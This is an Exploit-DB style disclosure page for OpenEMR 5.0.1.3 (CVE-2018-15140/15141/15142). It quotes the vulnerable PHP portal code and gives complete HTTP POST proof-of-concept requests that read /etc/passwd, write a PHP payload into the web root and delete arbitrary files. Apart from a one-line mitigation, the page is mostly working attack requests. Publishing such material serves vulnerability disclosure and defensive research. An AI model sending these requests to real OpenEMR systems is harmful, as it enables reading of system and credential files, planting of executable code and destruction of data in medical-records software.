header-logo
Suggest Exploit
vendor:
OpenEMR
by:
Joshua Fam
6.5
CVSS
MEDIUM
Arbitrary File Read/Write
434
CWE
Product Name: OpenEMR
Affected Version From: < 5.0.1.3
Affected Version To: < 5.0.1.3
Patch Exists: YES
Related CWE: CVE-2018-15142,CVE-2018-15141,CVE-2018-15140
CPE: 2.3:a:openemr:openemr:5.0.1.3
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Ubuntu LAMP
2018

OpenEMR 5.0.1.3 – Arbitrary File Actions

In OpenEmr a user that has access to the portal can send a malicious POST request to read/write arbitrary files. Vulnerable code and proof of concept is provided in the text.

Mitigation:

Ensure that user input is properly validated and sanitized before being used in file operations.
Source

Exploit-DB raw data:

# Exploit Title: OpenEMR 5.0.1.3 - Arbitrary File Actions  
# Date: 2018-08-14
# Exploit Author: Joshua Fam
# Twitter : @Insecurity
# Vendor Homepage: https://www.open-emr.org/
# Software Link: https://github.com/openemr/openemr/archive/v5_0_1_3.tar.gz
# Version: < 5.0.1.3 
# Tested on: Ubuntu LAMP, OpenEMR Version 5.0.1.3
# CVE : CVE-2018-15142,CVE-2018-15141,CVE-2018-15140

# 1.Arbitrary File Read:
# In OpenEmr a user that has access to the portal can send a malcious 
# POST request to read arbitrary files.

# i.Vulnerable Code:     
#  if ($_POST['mode'] == 'get') {
#    echo file_get_contents($_POST['docid']);
#    exit;
#  }

# ii. Proof of Concept:
POST /openemr/portal/import_template.php HTTP/1.1
Host: hostname
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101        Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: OpenEMR=k3m0vq90hhb5et06rib5l7l8fq; PHPSESSID=1dbh9mom6ib07jqovfusgjc3vs
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 26

mode=get&docid=/etc/passwd

# 2.Arbitrary File Write:
# In OpenEmr a user that has access to the portal can send a malcious 
# POST request to write arbitrary files.
 
#  i. Vulnerable Code:     
#    } else if ($_POST['mode'] == 'save') {
#        file_put_contents($_POST['docid'], $_POST['content']);
#        exit(true);
#    }
  
#  ii. Proof of Concept:
POST /openemr/portal/import_template.php HTTP/1.1
Host: hostname
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: OpenEMR=k3m0vq90hhb5et06rib5l7l8fq; PHPSESSID=1dbh9mom6ib07jqovfusgjc3vs
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 54

mode=save&docid=payload.php&content=<?php phpinfo();?>

# After sending this navigate to payload.php at http://hostname/openemr/portal

# 3. Arbitrary File Delete:
# In OpenEmr a user that has access to the portal can send a malcious 
# POST request to delete a arbitrary file.
  
#  i. Vulnerable Code:      
#     } else if ($_POST['mode'] == 'delete') {
#       unlink($_POST['docid']);
#       exit(true);
#     }
  
#  ii. Proof of Concept:     
POST /openemr/portal/import_template.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: OpenEMR=k3m0vq90hhb5et06rib5l7l8fq; PHPSESSID=1dbh9mom6ib07jqovfusgjc3vs
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

mode=delete&docid=payload.php
       
# After completing this request, when you navigate to payload.php, you should be greeted by a 404 page.